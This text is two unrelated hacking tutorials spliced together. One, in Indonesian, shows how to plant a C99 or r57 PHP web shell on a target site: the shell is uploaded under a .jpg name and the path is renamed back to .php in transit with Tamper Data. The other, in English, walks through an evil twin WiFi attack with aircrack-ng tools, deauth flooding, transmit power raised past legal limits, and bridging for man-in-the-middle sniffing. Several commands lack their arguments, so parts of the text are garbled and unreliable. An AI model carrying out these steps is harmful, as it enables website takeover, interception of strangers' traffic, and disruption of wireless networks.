Untuk mengupload PHP Shell ini kita biasanya mencari fasilitas upload file.php , nah yang jadi pertanyaan kalau web target hanya mendukung file.jpg untuk di upload gimana ? Nah itu yang akan saya sharing tekhniknya. Tahap-tahapnya seperti berikut ini. Tapi dengan catatan anda telah menguasai website target dengan tekhnik : sql injection , LFI / RFI , atau exploit.
1. Siapkan dulu file shell.php seperti : C99Shell, r57, atau lainya cari aja di google banyak
2. Rename dengan nama : shell.php.jpg
3. Install add ons Tamper Data dulu di browser mozilla kita, Download disini
4. Restart dan kita mulai upload
5. Cari fasilitas uploads gambar pada website target, kemudian tamper data kita jalankan


6. Trus Uploads shell.php.jpg kita dan tamper

7. Setelah langsung jalankan tamper datanya, tunggu pop out dari tamper data muncul , cari file shell.php.jpg dan rename path shell.php.jpg menjadi shell.php ! ingat yah

Sekarang anda tinggal cari dimana file shell anda berada .
Dan buka path shell.php anda di url browser dan siap meluncur ke TKP. Tapi inget, gak semua web target bisa kita lakukan dengan tekhnik ini

Prerequisites

apt-get install bridge-utils

Objectives

iwconfig

To start monitor mode on the available wireless interface (say wlan0)-

airmon-ng start wlan0

To capture packets from the air on monitor mode interface (mon0)

 airodump-ng mon0

 After about 30-40 seconds, press ctrl+c and leave the terminal as is. Open a new terminal.

Creating the twin

airbase-ng -a --essid -c

If you face any problems, a shorter code will be-

airbase-ng --essid mon0 

Remove the angular brackets (< & >) and choose any channel that you want. Also, the BSSID can be randomly selected too, and doesn't have to match with the target. The interface would be mon0 (or whatever is the card you want to use) . The only thing identical about the twins has to be their ESSIDs (which is the name of the network). However, it is better to keep all parameters same to make it look more real. After you are done entering the parameters and running the command, you'll see that airbase turned your wireless adapter into an access point.
Note : We will need to provide internet access to our client at a later stage. Make sure you have a method of connecting to the net other than wireless internet, because your card will be busy acting like an AP, and won't be able to provide you with internet connectivity. So, either you need another card, or broadband/ADSL/3G/4G/2G internet.

Man in the middle attack : Pic Credits:  owasp.net

Telling the client to get lost

aireplay-ng --deauth 0 -a mon0 --ignore-negative-one

The 0 species the time internal at which to send the deauth request. 0 means extremely fast, 1 would mean send a packet every 1 seconds, 2 would mean a packet every 2 seconds, and so on. If you keep it as 0, then your client would be disconnected in a matter of seconds, so fire up the command, and press ctrl+c after a few seconds only. Note that the deauth is sent on broadcast, so all the clients (not just one) connected to the network will disconnect. Disconnecting a specific client is also possible.

Not the real one, but why the fake one

Even after being disconnected from the real AP, the client may choose to keep trying to connect to the same AP a few more times, instead of trying to connect to ours. We need to make our AP stand out, and for that, we need more signal strength. There are 2 ways to do that-

1. Physically move closer to the client.
2. Power up your wireless card to transmit at more power. 

The latter can be done with the following command -

iwconfig wlan0 txpower 27

Here 27 is the transmission power in dBm. Some cards can't transmit at high power, and some can transmit at extremely high power. Alfa cards usually support upto 30dBm, but many countries don't allow the card to transmit at such powers. Try changing 27 to 30 and you'll see what I mean. In Bolivia, however, you can transmit at 30dBm, and by changing the regulatory domain, we can overcome the power limitation.

iw reg set BO

iwconfig wlan0 txpower 30

It is strongly advised to not break laws as the transmission limits are there for a reason, and very high power can be harmful to health (I have no experimental evidence). Nevertheless, the client should connect to you if your signal strength is stronger than that you the real twin.

Note : If you are unable to get your client to connect to you, there is another option. You can leave him with no options. If you keep transmitting the deauth packets continuously (i.e. don't press ctrl+c after the client has disconnected), he will have no choice but to connect to you. However, this is quite an unstable situation, and the client will go back to the real twin as soon as it gets the chance.

Give the fake AP internet access

brctl addbr evil

This will create the bridge. Now we have to specify which two interfaces have to be bridged-

brctl addif evil x0

brctl addif evil at0

We can assign an IP to the interfaces and bring them up using-

ifconfig x0 0.0.0.0 up 

ifconfig at0 0.0.0.0 up

 Also bring up the evil interface (the interfaces aren't always up by default so we have to do this many times)

ifconfig evil up

Now to auto configure all the complicated DHCP settings, we'll use dhclient

dhclient3 evil & 

Finally, all the configurations have been completed. You can execute ifconfig and see the results, which will show you all the interfaces you have created.
Officially, the evil twin attack is complete. The client is now connected to your fake network, and can use the internet pretty easily. He will not have any way to find out what went wrong. However, the last objective remains.

Have fun

Sniffing using Wireshark